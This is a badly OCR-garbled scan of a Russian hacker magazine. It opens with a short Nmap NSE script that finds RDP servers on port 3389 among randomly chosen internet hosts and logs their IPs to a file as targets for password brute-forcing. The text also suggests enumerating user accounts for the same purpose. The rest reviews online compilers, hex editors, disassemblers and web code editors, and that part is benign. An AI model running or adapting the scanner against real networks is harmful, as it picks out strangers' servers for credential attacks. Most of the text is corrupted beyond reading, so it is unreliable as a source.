action _ .aztpo CKpiiHITa, peaJIM3ylOrn;ee nenoCpe,ll;CTBeHHO nor-rexy er-e pe So'r-u .

CKpVlnTOBblW ABVI>KOK Nmap ,D,eTaJlbHO onVlcaH Ha nmap.org/ book/nse.html, nO)TOMY He 6YAY "pe3MepHO neperpyxars Te6" TeopVle(ii. JlYLJwe cpasy nonpo6yeM c06paTb npOCTeHbKVlW cu,eHapVl(ii ua npaKTVlKe. B npOWJlOM HOMepe y Hac 6blJl MaTep!l1aJl «5pyn1M ,D,eAVlKVI nO-HOBO~IY», B KOTOPOM Mbl ,D,enVlnVlCb HOBblMVI TeXH"KaM" B 6pYTcpopce RDP-cepBepOB. npe/l,llacaKJ B norionHeHVle K VlMelO~VlMcs:J pa3pa6OTKaM ,D,06aSVlTb 6blCTpoe CKaHVIpoaauae III nO\l1CK RPD-cepsepoB c nOMow,blO Nmap. 3a,D,a'-lew 3aWMeTCs:! caMonVlCHblW NSE-CKpVlnT, KOTOPblW 6YAeT 3KcnopTV1- posan, cpaWJl C HaWAeHHblMIII XOCTaMVI AJls:J AaJlbHeWWew pa60Tbi 6pyr¢opca. no cyna 3TO scero p,eCl'ITOK (TPOK «one Ha Lua

description = [[ RDP Servers seachtool ]] author = "X Group"

license =- "Same as Nmap--See http://nmap.

XAKEP 06 /137/10

CBe>Kall ynl1l1Ha B Ha60pe Nmap Anll cpasHeHHll peaynsraroa CKaHHpOBaHHll

org/book/man-legal.html" categories = {"discovery"} require "shortport"

portrule = shortport.port~or_service{3389, "ms-term-serv" )

action =- function(host, port)

file =- io.open ("ip_"'lith_rdp.

txt", "a+")

file.write{host.ip .. "\n") file, flash ( )

file, close ()

end

KpaTKO npof;1,D,eMcs:J no VlCXO,D,HVlKY cxparrra. B K3LJeCTBe K3Teropnn NSE-cLl,eHapVls:J VlCnOJlb3yeTcS1 3HaLJeHVle "discovery", ncnpasyaeaaouiee. YTO CKpl:1nT 6Y,D,eT ocyuiecrenar s uccne,D,CBaHVle ceTVl - no 60JlbWOM CLJeTY 3TO Hill Ha '-ITO He BJlVl51eT. Ilanee C nOMO~bKJ require Mbl nogKJlKJ'-IVlJlVl NSE-6V16nVloTeKY ,D,Jl51 pafioru C noprav.i. Ba)KHal1 LJaCTb n.oboro cueuapus

- YCJlOBVle em BbInOllHeHl!1S1. B cxpnnre ncncnssyerca llVl60 npaenno ,£Ills:! nopros (portrulel. B KOTOPblX nepe'-lVlCJls:JlOTCs:J nopru, C KOTOPbIMl:1 6y,Qyr ocyuiecrensr'sca ,D,eikTBVl51, JlVl60 npasnno An" XOCTOB ihostculel. B 061l1eM CMblcne npasano - 3TO cpyHKLI,\I1s:J, B03Bpa~aKJ~as:J true VlJlIII false. OT sroro 3aBVICIIIT, 6y,[\eT BblnOflHs:!TbCs:J OCHOBHa51 yaCTb cxpunra. 3a,[\aHHa~ s action, VlJlVl HeT. B HaweM cny-iae Mbl V1cnonb3yeM portrule VI C nOMO~bKJ CPYHKWVlV1 port_or_service onpe,D,ells:!eM, YTO XOTVlM VlMeTb neno C cepS\I1COM Ha nopTY 3389 VlJlVl cepa.iCOM, pacn03HaHHbiM KaK ms-term-serv. HenocpeACTBeHHO cepziue cu,eHapllles, B KOTOPOM onpenens orcs ge~CTSl:1S:!, y Hac OyeHb npocroe. ECJlVl Nmap pacnosuan TepMVlHanbHbli:J RDP-cepsVlc \I1Jl\l1 npoCTO OTKpbITbli1 3389 nopr, Mbl npocro 3anlllCblsaeM era IP-a,D,pec B ¢ai:JJl

TeKeT ckpurrra COXpaH"eM B cpa"n iHanpwMep, cpdlist.nsel " pa3Me~aeM B nanke scripts. KCTaTVI rOBOpl1, AJl51 ygo6CTBa

• EcnVl nocne ycraHOBK\I1 Nmap, Tbl 3agaewbc~ aonpocov «A ua yeM 6bl, c06- CTseHHO nonpobo aare CKaHHep7». Csieno V1CnOJlb3y(ii scanme. nmap.org.3TOTXOCT C03,D,aTell\l1 cneuaanu-o pasparioraru- An" npoBepK" CPYHK~"OHanbHOCTl:1 cxauepa.

• )],nl1 Taro, YT06bl BblnOJlHVlTb 06HOBJleHIIIS1

CI<pVlnTOB,3anYCTVI nmap C KJlfO'-IOM

.. --SCCI pt -u pdatedb" nmap --SCClptupdatedb

• nocne YCTaHOBKVI Nmap'a nOMWMO ca-roro cxaaepa

Tbl ncny-raeun. P~A ltlHTepeCHbiX yrVlnltlT.

B He,D,aBHelli aepcnu noaaunacs rynae neat, KOTOpas:1 s:JBJl~eTCs:J ynY'-lweHHo(ii BepCV1elli craporo nobporo nc CpeAVI npo-r-ix ee AOCTOVlHCTB - pafio-

ra HeTOJlbKOcTCP, Ho"cUDP,aTaK!Ke BCTpoeHHas:J B03MO>KHOCTb npoxcupoaauns -repes HTTP/CONNECT "SOCKS. nOM"MO

3TOlOTbi nOJlYLJaeWb YT"n"Ty An" YA06HOCO cpaBHeHVI~ pesyns-

pa3pa6oTKVI cKpVlnToB nyywe coxpaunrs VlX C paCWl!1peHVleM TaTOB cKaHVlpo8aHVI~

lua, rorna TeKCTOBble periakropu. B TOM '-iVlCJle Notepad++, - ndiff. A

6YAYT nOACSeYklBaTb CVlHTaKCl!1C. YT06bl 3anYCTV1Tb CKpl:1nT, C nOMO~bK) npor a

\I1cnoflb3yeTcs:! KflfOY "--script" VlllV1 em CVlHOHl:1M "-sC" nprnq ru CMO>KeWb I<OHCTpYVlpoBaTb 3a-

nmap -iR 0 -n -PS 3389 -p T,3389 --script.=-rpdlist .nse

BOT TaK npocro Mbl C03,D,aJlVl MHoronoTOLJHblW RPD -cKaHHep. Ecn" nOAKnKJH"Tb MOAyn" An" paboru C MSRPC, TO MO)KHO nonpoboaars euuen-m, Cnv1COK nomccearena C y,D,aJleHHOfO KOMnblOTepa l:1 TaK>Ke sxcncpruooaan. era 8 Cn\l1COK_ B 3TOM cny-rec. 6pYTCPopc 6Y,D,eT ocyuiec-ena-eca no l!13BeCTHbIM i'1MeHaM nOJlb30B3TeneW. HaCTO:rlTeJlbHO peKOMeH,D,YKl Te6e npo-uirare PYKOBOACTBO no NSE nmap.org/book/nse.html, TaK KaK

s YMeJlblX pykax 3TO n03S0nltIT npeepanrrs B Nmap B yunaepcanbHbl(ii VI ype3Bblyai1Ho 3cpcpeKTltlSHbli1 VlHCTpYMeHT..I

npocu, aHaJlW3V1pOBaTb orserua Vl3Meps:JTb speMs:J OTKJlVI «a ynaJleHHOC1 CVlCTeMbl

~ 029

or aMMMCT

w

OHnaMH

•• CTenaH«5lep»!.-1J1bI1H steplilglc.ru

none3Hbie Tyn3bl AnSI neaenonepe B Be6e

Bce HaLfanOCb C rero, LfTO rae-m B HHTepHeT-KaliJe aa rpaHHueH MHe CPOLfHO nOHa,q06HnOCb CKOMnHnHpOBaTb KPOXOTHblH HCXO,qHHK. Ha 06IUeCTBeHHOM KOMnblOrepe CHnbHO He XOTenOCb 3aMopaLfHBaTbCH C YCTaHOBKOH KOMnHnHTopa, nOlTOMY

H Ha y,qaLfY nunpmioaan HaHTH cepsac, KOTOPblH cKoMnHnHpoBan 6bl HCXO,qHHK oHnaHH. H C arorn MOMeHTa HaLfanOCb.

KOMnHnRTOPOHnA~H

'{epes napy M"HyT" Y)l(e "Men Ha PYKax CKOMn"flV1posaHHbll71 6111HapHVlK nOMor cepeuc uexoero rypeuxoro nporpa-ivucra. «oropua xorna-ro 03aAaY!l1nC~ nOAo6HO~ npo5neM0C1 V1 peaflll1- 30SaJl Ha eSDeM caVlTe Be6-V1HTep¢e~c AM1 nocryna K KOMnlt1n1Hopy. A YTo6bl nOJlb30SaTbC$1 6blflO ew,e y,o,o6Hee, npnxpyran KOMnQHeHT )J,Jl51 pe.n.aKTVlpoSaHiI1s:1 <ona. nO,IJ.CSeTKa C!IIHTaK01ca, HyMepau,lI1s:1 CTPOK !11 p,a>Ke aBTO,1J.OnOflHeHV15i KOMaH.D. - n04TlI1 Man€HbKa)=l IDE. Co6V1paeTC$1

B Op,VlH ItlCXOAHIt1K B OAII1H Km1K II1m1 no XOTKeto Ctrl-F7, nocne -rero cepauc ornaer rOTOBbJII1 6It1HapHII1K. ECJlIl1 BO SpeM51 C60PKI-1 npOW30WJH1 DW1I16K!I1, TO coo6w,eHII1s:1 KOMnVlmnopa crofipa- 351T(51 B OTp,eflbHOV! naHenll1. Aapec An5=! raxoro yna-u-oro cepauca Ha penxocrs CTpaHHbl!lr: cmpe150-1.cnpe.boun.edu.tr/phpccompilerl ~, np1l14eM caliiT orkpoercs ror sxo B Internet Explorer. Ilpyroe cepsesuoe orpaua-reHVle - OTCyTCTBlIIe nOAAep>KKlI1 c++. A KYAa xe celii4ac 5e3 Hee? n03TOMY xorna aauina pevs 0

KOMnlllmlLJ,lIIl11 copua C++, npmunocs OTblCKaTb 3aMeHY. K CLfaCTblO, pa3pa50TYlIIKlII nporpecClI1BHOrO KOMnlllnS1Topa Comeau C/C++ Ha oCPll1- U,V1C:1J1bHUM cai·he cnenana rppo--rean. KOTOPblVi BblnOnHeH KaK paa B BVl,n.e Be6-npV1nO>KeHI-1S1 (www.comeaucomputing.com/t ryilou ll.

Ilonyc caercs Bbl60p pa3nw..JHbix pe>KVlMOB KOMnVlnS1lJ,VlVI, sepcuu Comeau, a TaK>Ke mo6ble npyrne napa-ierpu. koropse Tbl Mor nepenars C60Pll1"KY yepe3 KOMaHAHYIO CTpOKy KCTaT" rOBopS1, nocneziaue penY13bl Comeau Y>Ke non-

~ 030

XAKEP 06 /137/10

j

HexPaste is an crane hex editor. Which can be used lor cosaooranve editing and debugging of binary file formats.

Developedby~

strashnaya vesch perl5.10.1.exe. rev 1

stepan. 3 mins 21 sees ago

~

wpett.exe, rev 2 ss,12mins40secsago



upic_iog.pcap,re'/1

aa.19houfs47minsago

~

fa" 1

Foe. 1 clay 20 hours ago

!M.! 36 ee ee 85 81 83 ee 63 ee ee ee 91 as 86 ee as 81 1t;. ee 8S 6 .

• , MMMnMMnunUMEMoooonoooonu

.'ll"!!l· '!!l,.,Y.,.".h.,"."."., •• 82 91 Be 84 ee ee ee 81 ee ee ei 26 82 82 ee 84 ee Be Be 81

• MOOWMOOOOOOOOMoooouooMMnMMM~ ee ee Be 81 FF 08 FF EB ee 16 4A 46 49 46 ee 81 81 ee ee 61

ee 81 ee ee FF DB ee 43 ee 18 BS Be es Be SA 18 BE eo BE 12 HUUUDUUHHUllDHW.MUWK. U.TI.UKO.MAU".~mn"D~U • UHmH~roMnKHuu~OOMenHU UUHUDU~DUG.GUUUUUUUD

UUUUUUUUUUUUUUUUUUUD uuuuuuuuuuuuuuuuuuuu 6363 FF ce ee 11 8S ee 78 Be Ae 83 81 22 ee 82 1191 83 11 n~UMDwoon.nnnnnnMooMMOO

IDOBFF Eeeele4A464946eetne2elee6eee6eeeae~ ) F IF.

FF E1 er a7 45 78 69 66 ee ee 40 40 ee 2A ee ee ee ee ee es Lr. E x if. r·1 r·1 •

ea 32 ae az ee ea aa 14 ee ea ea 56 47 46 ee a3 ea ee aa a1 . 2 . . ..... V G F .

MUMOOUu.uoo.oon.U •• KmMMII

MMOOHOO ••• ~K.m.MD~MMM.

8769aaa4eeeaeealaaaaa96Aaaaaae04323a3939 . i j 2aa!

3A 39 33 3A 31 32 29 31 33 3A 34 37 3A 34 33 ee ee es oe 83 : a 3 : 1 2 1 3 : 4 7 : 4 3 ..

Mmoo.M~ ••• K.Mooruoooooouoooo M~NnMmooMMUHMOOMUUMruMoo

MUHM •• urt.OMMOMMM.M ••

ee ee 32 ae ae 38 3A 39 33 3A 31 34 ze 31 33 3A 35 39 3A 32 2 a 9 8 : e 3 : 1 4 1 3 : 5 9 : :

36 ee 32 se 30 38 3A ae 33 3A 31 34 ze 31 33 3A 35 39 3A 32 6. 2 a e 8 : e 3 : 1 4 1 3 : 5 9 : .

Hex-penaxrop aa Ajax

nepxuaaor 50JlbWVlHCTBO pacwVlpeHVliI1 C++Ox (o5HosneHHblVi VI Mop,epHVl3V1poBHHbIVi CTaH)J,apT c++1. nOAAep>KKa «orcporo nO$iBlI1naCb ceil1lJac B Visual Studio 2010.

«3aLJeM soofiuie npltlB$i3blSaTbcSi K KaKoMY-TO KOHKpeTHoMY Si3bIKY», - nOAYManlt1 pebsra 1!13 ideone lideone.ccrnl " peannsoaan» yH"BepcanbHblVi KOMnl!1nSiTOp S 40 pa3nl!1LJHbiX Si3blKOS nOM"MO C/C++ snecs noggep>K"BaIOTC" ell1e "Java, C#, Pascal, Visual Basic .NET, see CKPVlnTOBble Si3bIKVI, Vl naxe accevtine o. Ba>KHO TOJ1bKO yn·O>KI!1TbCSi B orpaHwleHVlSi: 10 ceKyH,lJ,

Ha KOMnVlJlSilJ,VlIO, 5 ceKyHA Ha BblnOJlHeHl!1e, 256 Mera5aViT naMSiTVl. nOMVlMO sroro. nporpauna He CMO>KeT obpaurarscs B Cers III paboran, C ¢ail1- naMVl. Hexoropux OrpaHW-leHIllIlt YAaeTCSi 1!136e>KaTb, cofipas nporpaavy C nowouisto ,o,pyrotl1 oHnaiiT T)lmbl - code pad Icodepad.orgi.

KOMnlllmlpyeM asm-I1CXOAHI1K

••••• , • H

JFIF.

....... c.

.... (. .1;J%. (: 3-<\ 38 7@H\tl@Dl'JE7 8 P m QH_ b I hgHlqypdx\egc ... C • .... 1 .. /cBBBcccccce,

HEX H PE-PEJlAKTOPbl

Teneps ofipan-as C"T)lL1"" - 6"HapH"K eCTb, a VlCXOAHVlKa HeT. KaK nonpaSVlTb B HeM napy 6ail1- Toe? LJecTHo roaops. ronxoaoro HEX-peAaKTopa S oHflail1He Si B KaKOtl1-TO MOMeHT Hai1TI!1 He CMor Vl nV1Wb nOTOM CIlY4atl1HO HaTKHyncSi Ha Hero Ha OgHOM "3 ¢OPYMOB, rne pa3pa60T4"K !1en"nc" CCblnKotit Ha CBO~ TeKYw,V1W npoexr 1!1 VlHTepecosancs. a CTOV1T m1 eMY soobuie era npononxats. 5ernoro B3rn"!1a Ha HexPaste ihexpaste.comi 6blno ,QocTaT04Ho, 4T06bl 3aKpV1LJaTb: «CTO~T!». CKalKW, BOT B KaKOM o¢¢na"H HEX-pe!1aKTope ecrs B03MO>KHOCTb KOnneKTVlBHoVi paboru HeCKOnbKII1X fllO,Qeil1? A 3,lJ,eCb 3TO B03MO>KHO. ,lJ,ocTaTOLJHO noneru-recs cCblnKOVI Ha npcexr iHapnwMep, hexi2aste.com!WvwX04eVI. 4T06bl K HeMY Mar nO,QKJlI04l-1TbCSi KTO-TO ew,e. ,.Qetl1CTsyeT npocretuuan ClIlCTeMa KOHTpon~ sepClIltl1 - Ka)f(,Qoe 3HaLJII1MOe Vl3MeHeHVle Heo6xOAVlMO

Free Ide one API try it now!

ideone.com

Your grealldeas Will be born nere

news search help

pasts yeur scurce code or insert ~smplaleorSilmpls

m~odl It"

choose language Ad,

OttSt"

AWK(gawk) AWK(mallri<) Bash

be

Brainr'k

C



C .. C99stncI CLIPS Clojur~ COBOL

ex. ",,,~d. II>"~~~~J coo, 3~Hh

,.

<:q> cl>,Oah

syntaxhrghhght0

cllckhele10 paslsInpUl{sldlnjorao'dlt!onalnole

Whatlsideone?

tdecna IS something mere than a pastebin: irs an online compiler and debugging tool which allows 10 compile and run code online in more than 40 programming languages

!i.lruncode rJprivate

submil

HOWlouseideone?

Choose a programming language pasleyoursourcecodeandinpuldalainlOI~xlboxes Then check or uacheck ron code (whether to execute your program) and prrvaie (whether none list your paste in the recera pastee page) checkboxes. click lhesubmilbullonandwalchyoursnipllstbeingexecuted

Having problems?

Checkth~ ~"mples 10 S"" how tov,~it"" properlywo'king Code To find Cut mort. Me the hllip section Of the FAD page

XAKEP 06 /137/10

I

COXpaHlt1Tb (3aKOMVlTlIlTbl. V1HTep¢eil1c OLJeHb 3,1],0- pOBO aunonuea Ha AJAX'e, n03TOMY cxnsnsraaeTCSi ouiyuieuwe, -rro paboraeun, B caMoil1 05b1LJHOVl, HO OyeHb npocron nporpaMMe. He XBaTaeT pa3nVl4Hbix cpl!1WeK no ar-anusy CTpyKTYPbl, B

TOM LJVlcne PE-3aranOBKax. nOCne,1],Hee MO>KHO ncnpaanrs C novouiero OHnatliH PE-peAaKTOpa, KOTOPbli:1 cepsesuo BblpY4V1n MeH~, korna Ha,QO 5blno l-13MeHV1Tb TOLJKY BXO,Qa B eXe'WHlt1Ke.

C novouiuo proview phpp ipvdasm.reverseenQlneering.net/PVPH P.phpJ raxxe MOlKHO nOCMOTpeTb CeKlJ,ItlIl1, Vl3YYlIlTb Ta5nVllJ,bl skcnopTa/ViMnopTa !cKa>KeM, AnSi roro, 4T05bl Y3HaTb, KaKVle API-¢yHKU,Vllll Bbl3blBaeT YTVlfllt1Ta) 111 T.A.

JlH3ACCEM6J1EP

nOMII1MO npovero, proview phpp - 3TO ew,e Vl Alt13aCCeM6nep. Ilonyckaerca aubpan, OnlJ,lIlVi AflSi ,Q1I13aCCeM6nVlpoBaHV1Si, a TaK>Ke Bbl6paTb LJ,BeToBYfO cxeuy n-icruura, HaV160nee npnau-rHyfO no OAHOW Vl3 Vl3BeCTHbiX nporpaMM (SoftICE, IDA, W32Dasm, OllydbgJ. He. ysu. nony-urrs AVl3acceM6nVlposaHHblVl KOA nonYLJI!1TCs::l AnSi ¢a"nOB He boncc 100 K6. YT06bl 060"T" 3TO HenpVls:lTHOe orpauu-reuwe. peKoMeHAYfO B3rnS1- HYTb Ha 60nee cOBpeMeHHblil1 cepauc - Pym's online disassembler ipyms86.appspOl.coml, nocrpoe-u-un Ha baae Google App Engine. nepsblill nmoc S TOM, '-lTO MO>KeWb aHaflItl3lt1pOBaTb He TOflbKO lJ,enbltl1 cpa iI1fl , HO Vl OTAeflbHble HEX-gaMnb!. npOeKT)I no 3y6aM 64-6"THble npunoxei-us, npVlLJeM AnSi aHanVl3a Vlcnonb3YIOTc5=I Python-6"6n"OTeK" Pym Icode.google.com/p/ pymsasidl, pefile Icode.google.com/p/pefilei " networkx inelworkx.lanl.govl, «oropsre 04eHb nporpeccuat-o pa3BVlBafOTC5=l. B03MO>KHO, B 6YAYLL\eM Mbl paCCKa>KeM, KaK cocpars CBOW ceo- 6eHHblVl cepevc An5=! cauccrowreru--rorc ,lJ,1!13aCceM5mlpOBaHlt1Si.

PEJlAKTOP KOJlA

Ho ,QJls:! roro. LJTo5bl uanucan, KO,1], C HynSi, OAHOro lt1HTepnpeTaTopa Mano - Heo6xOAII1Mbi YAo6- Hble cpencraa AflSi pafioru KO,1],a. O,QHVlM Vl3 Halll- 50flee crapsrx 1!1 Vl3BeCTHbiX npoekros SisnS1eTCSi Amy Editor iwww.amyeditor.comi. DTKPblB crpaHII1LJ,y, Tbl nony-raeu.s npaKTII1LJeCKlIl ace 60HYCbl 06blLJHOrO neckronaoro penasropa AnSi nporpaMM~1cTOS. nO,lJ,,lJ,ep>KV1BaeTCSi noncaerka cpaay ,1],n5=l HeCKonbKVlX ~3bIK08: C, Java, Javascript, PHP, Python, Ruby on rails, Ruby, Texy, HTML/ XML-pa3MeTKa. g06aBn"eM CIO!1a aaroaaepuTlI1e cKo6oK/KaBbILJeK, npaBVlnbHblVl nepet-oc

~ 031

Pym's online disassembler

A pure python web based disassembler

Disassemble windows PE file

On1incdiS'ilsscrnhler Pro:>jectl''''.le

Disassemble hexadecimal string

Edit ~O[E

Report "I),,!}

"\"~I>\Xl.f\~~X'6\"Q5\",!\"co\"eS\"'6\"O'\xa9\><46\"OC\"I>O\"Ob" "\.a9\d3\x~d\x4~\xO;\xEd\x'6\xOc\xcci\"!O\"n\x<llo\xe9\"de\><40\"c<:l" "\"eo\x~e\xclc\xtt\xU\xUJbi"/~""

16bits'<>':>2bits 6~bits~

Un~ 10 thi~ Illlge

Entry point: OxOOOOOOOO

nporpeCCIIIBHblH AIII3aCCeM6nep Ha Python

CTPOK" [cpasy C HY)f(HbIM orcyno», oc06eHHO YYBCTByeTC" B Python I. Ha60p CHVlnneTOB, vnpouie-n-vo sapltlaLJ,VlIO aSTO,IJ,OnOJlHeHVlS1 KOMaH,IJ, VI ,IJ,a>Ke uexoroos.e B03MO>KHOCTV1 ,D,JlS1 cOBMecTHoV! paficru C KO,Ll,OM. ,JJ,a>Ke CBOpaYVlSaHV1e rena CPYHKL\vH1 - VI TO pabcraer, YSbl, npoekr ,LJ,aBHO He pa3BV1saeTCS1 (XOT51 V1 pacnpOCTpaH>=IeTCS1 B orxpurax VlCXD,IJ,HII1Kaxl. 3aTo CeM\I1MVlllbHblMI-1 walaMVl pa3BVlBaIDTCs:I ,lJ,PYIVle npcexru:

• Bespin OT KOMnaH"" Mozilla [bespin,mozillalabs,comi - 6ecnoA06Hbl" penaxrop KOAa M" Be6-npoeKTOB [HTML!JavaScriptl;

• CodeMirror [marijn.haverbeke.nilcodemlrrori - 6"6n"OTeKa JavaScript ,lJ,lls:l pealll-13aLJ,1-11-1 penaxropa, nonnepxneaiouias pa60T)' C CaMblMI-1 paauuM" "3bIKaM": JavaScript, XMl/HTMl, CSS, Python, l.ua. Ruby, SQl;

• Ymacs \www.ymacs.orgl - Ernacsncnobuua penakrop. nOllHOCTblO BblnollHeHHbli:1 Ha Ajax.

Bce TpVl npoe cra - VlCKllID4V1TellbHO Ka4eCTBeHHbie cOBpeMeHHble penaxTOPbl KOga VI pacnpoc'rpausuorca B OTKpblTblX VlCXOAHVlKax. Ila, MO>KHO nocTaB.VlTb JlI06oC1 Vl3 HVlX Y cefis. HO 3a4eM, eClllt1 ecrs cepauc Kodingen

nOJ1HOUEHHAH IDE

Pebs ra Vl3 Kodingen, 3aP,YMaBWlI1e pearuiao sar s nOllHOLJ,eHHYfO cpeny pa3pa60TK\I1 8 aefie, Bbl6palllt1 048Hb npaBIIIllbHblC1 CLJ,8HapVlC1 pa38111TVls:l BMeCTO TOlD 4T06bl 1I1306peTaTb senocwnen pa3pa6aTblaas:l ew,e O,lJ,V1H penaxrop KO,lJ,a, KOTOPbli:1 npereunoaan Ha YHV1BepcallbHOCTb, OHV1 npoCTO BCTP0V1111t1 II1MelDUJ,lIIecs:! 3aMe4aT811bHble paapafiorxn a caolll npo,lJ,YKT! A CaMlI1 TeM apeMeHeM cocpegoT0411111It1Cb Ha C03,lJ,aHIIIVI npyrax Heo6xo,lJ,VlMblX ,lJ,1ls:! IDE onLJ,It1C1, B TOM 41t1Cne ,lJ,ns:l COBMeCTHOC1 pafior s.! CepBVlC HaXO,lJ,VlTC51 B COCT051HlI1lo1 aKTIt1BHOIO pa3BII1Hl51 It1 HOCIt1T CTaTYC 5eTbl, a pa3pa6oT41-1KIt1 Ka>K,lJ,bli:1 MeC51LJ, nO,lJ,KapMlllt18aIDT nOs:lBIt1BWYIO-

CI1 apMVlID nOKllOHHVlK08 H08blMVl cpVlWKaMVl. Y>Ke celll4ac Ha,lJ, JlI06blM npoeKTOM MO>KHD pafiorars B KOMaH,lJ,e. V1 eC1l1l1 Ha TeKyw,eM srane colaboration nOA,lJ,ep>KVlBaeTCs:I TOllbKO cpegcTBaMVl caMora cepauca. TO Ha nonxozie nOAAep>KKa scex nonynap-rux CIt1CTeM ,lJ,Jls:l KOHTpOns:l aep- 01i:1: svn, git, mercirual! Y>Ke celllyac MO>KHO nponucars y cebs B npocjmn8 Y4eTHbie 3anVlCltl ,lJ,lls:l nocryna K xocrw-rry no FTP VI cpasy sanunars 06HOBlleHHbie COpLJ,bl Hd cepBep. A xoveu s - MO>KeWb XDCHnbCs:I npsu-ro a Kodingen. BeeM >KellalDUJ,VlM C03,1J,aTelllo1 npe,lJ,OCTa81151IDT XOCH1Hr 8 C80eM ofinaxe [no Kpai:1HeC1 Mepe, noxal. Ew,e O,lJ,Ha VlHTepecHas:l onuua - urenn-nocryn CBOIt1M cpaC1110M npsu-ro Vl3 Be6-It1HTepcpeC1ca, He Hap,o ,lJ,a)l(e KOHHeKTIo1TbCs:l no SSH! OgHIt1M CllOBOM - cynepseun,l

VISUAL STUDIO B BE6E

ECll[;1 nOCMOTpeTb Ha nO,D,,lJ,ep>KKy S13blKa nporpaauupo saawa. TO eear.e cnnour-tsre Perl/Python/PHP - B 06weM, CKP"nTOBble "3bIK" A KaK 6blTb, CKa>KeM, C C#? HeY>Kenlo1 Hellb3s:! C novoun-o se6-VlHTpYMeHTa C03- ,lJ,aTb nOllHOLJ,eHHOe aefi-npnnoxeune. ncnonsays Hapa6oTKII1 Microsoft? MO)f(HO' CopeBHOBaTbC" c Visual Studio B paMKax aeba 3aMaxHY""Cb

Tp[;1 [;13pa[;1flbCK[;1X npcrpa-u-ucra. OCHOBaBWVle npoexr coderun [www. coderun.comJ. V1 sens C,D,enafllt1. Y>Ke celll4ac B npVlBbl4HOM rebe no

~ 032

n04TIII Notepad++, HO B OHnaHH

Visual Studio BVlp,e, TO ecrs e 04eHb nOXO>KVlM VlHTepcpe~COM, noncserKOO1 C"HTaKC"Ca " naxe IntelliSense, Tbl MO)f(eWb C03AaBaTb ASP.NET, PHP, Ajax, a TaK)f(e B"HAOBble np"nO)f(eH"" Ha WPF npsvo B bpavaepel nOAAep)f("BaIOTC" C#/.NET 13.51. PHP 15.11. JavaScript, HTMl" CSS. npV14eM p,lls:l C# peanasoaa-ra norinepxxa scex MO)J,HbIX TeXHOllOlt1l1l Microsoft: ASPNET, WCF, Silverlight " WPF. B KayeCTBe 6a3 AaHHblX MO)f(HO H""BHO "CnOnb30BaTb SQl Server 2005" Amazon SlmpleDB. 3TO 3Ha4111T, 4TO He Ha,Ll,O ltl3yyaTb Hlo14ero HOBOro. EClllo1 y Te6s:! ecrs npoeKT Ha ASP.NET VI SQL Server, MO>KeWb 3allVlTb ero Ha coderun 101 sanyCTII1Tb. Cron, 4TO 3Ha4111T «aenycrwrs»? ,D,a-,Ll,a, coderun nO,lJ,Aep>KIt1BaeT KOMnltln5H.J,lIno gll51 .NET ynpasnaeuoro KO,lJ,a, ,Ll,lls:! sroro IIIcnonb3YIOTc51 MOLLJ,HOCTIo1 cepaepos 1013 0611aKa. Mana Taro, CepBII1C 0611ap,aeT eLLJ,e 111 MOUl,HbIM OHllaViH-p,e6arrepOM. Tu MO>KeWb nocnenoaarensuo TpeVi-

CIo1Tb KOp" ycrauaanaaars watch'u, 4T06bl Ha6fllOp,aTb 3a nepeMeHHbIM~l, 1I13Y4aTb callstack - n04TVl cpaHTaCTII1Ka. BOT OHa - rtep aaa 3as:!BKa Ha HaCTO"wYfO IDE B bpayaepe. npaBAa, cnpaBeAn"80CT" paA" HaAO CKa- 38Tb, YTO pe811bHO ucnonsaoaar s coderun nOK8 ,lJ,OBOllbHO CflO>KHO. B rnaaa ,lJ,OBOllbHO 4aCTO fipocao+cs He,D,O,Ll,ellKIt1, a CKOPOCTb paboru non-rae K8TacTpocpVl48CKVI nanaer.

.llEJ1I1MCH KO.llOM

EClllo1 penaxrapoaars KOp, 8MeCTe He HY>KHO, a HY)I(HO nonerurrscs V1CXOp,HIIIK8MIt1, KaKVlMIt1-HVl6Y,lJ,b KOHcplt1raMlI1, XML-KaMlI1, AaMnaMVl 1I1n\.1 npOCTO TeKCTOBblMIt1 cpa C111a t.·H1 , nparonurca It1HCTpYMeHT, 0 KOTOPOM Mbl HeAaBHO rcaopnnu B WWW2 - Pastie [pasti·e,orgl. Bce, YTO rpefiyercs - 3TO cxonnnacrurs B cpOPMY TeKCT Vl YKa3aTb ero H1n [cKa>KeM, VlCXOAHIt1K Ha C++ VlllVi Python), CepBIt1C Bbl,lJ,aCT KOPOTKI-1V1 llVlHK, nepeC1,Ll,>=I no KOTOPOMY, ll1060C1 yBIo1,lJ,VlT VlCXO,lJ,HblC1 TeKCT C KpaCVlBO nO,lJ,CBeYeHHbIM CVlHTaKCVlCOM. Scero CepBII1C nOA,lJ,ep)KVlBa8T 38 pa3111l14Hb1X s:l3bIKOB npOrpaMMlI1pOBaHVI>=I, cpalllnoB-KoHcpVlrypau,lI1C1 [;1 BbIBO,lJ,8 uekoropsrx nporpauu. Bo BpeMs:! noocuorps MO>KHO V13MeHVlTb TeMY ,lJ,nl=! orofipa)l(8HIt1s:l TaK, 4T06bl 6blflO MaKCIt1MaflbHO nOXO>K8 Ha npVlBblYHYKl cpeny paapatiorxa. CaM npcexr Ham1caH Ha Ruby, npVlyeM npaaana Alls:l nOAC8eTKII1 CIt1HTaKCIt1Ca 6blll[;1 n03all1MCTBOBaHbi y TextMate. nOMIt1MO Pastie eCTb ew,e O,lJ,VlH It1HTepeCHbl~ cepauc, Hau,efl8HHb1Vi Ha o6MeH CH[;1nneTaMVI. B ny6flVl'-IHOM pen03101TOpll1l11 Ko,n,a Snipplr XpaHIt1TCs:! orpouuoe KOflll1'-1eCT80 VlCXO,Ll,HIo1K08 VI CHlt1nneTOB Ha pa3Hbie TeMb!. Obsaarensaoe Tpe60BaHVle K 3aMeTKe - -rerxoe Onlo1CaHlt1e VI reru. n03ToMY B penoauTOplt1101 OyeHb nerko HaC1TVI HY)l(Hble Y4aCTK[;1 KO,lJ,a.

PErYJ1HPHbIE BbIPA}f{EHI1H 6E3 60H

CYLl\eCTByeT ,D,OBOllbHO MHoro nporpsMM ,lJ,1l1=! 6blcTporo COCTaBfleHIo1s:1 pervnapuux Bblpa>KeHVliII, HanplllMep, RegexBuddy_ B oHJlailiHe TaK[;1e peWeHVls:l TO>Ke ecr s. flpaana. no 6011bwe~ yaCT[;1 3TO npocrue cepBI-1Cbl ,lJ,1lS:! nocsepxn perecno s, npw-IeM (TpOrO onpe,lJ,en8HHblx TVlnOB. vb rcr nu Bbl,D,eTC>=I 04eHb Ao6pOTH8s:! oHllai:1H-Tyn3a RegExr [www. gskinner.com/RegExrJ. pealllo130BaHHaR s BlI1,1J,e Flex-npIIIIlO>KeHIt1R.

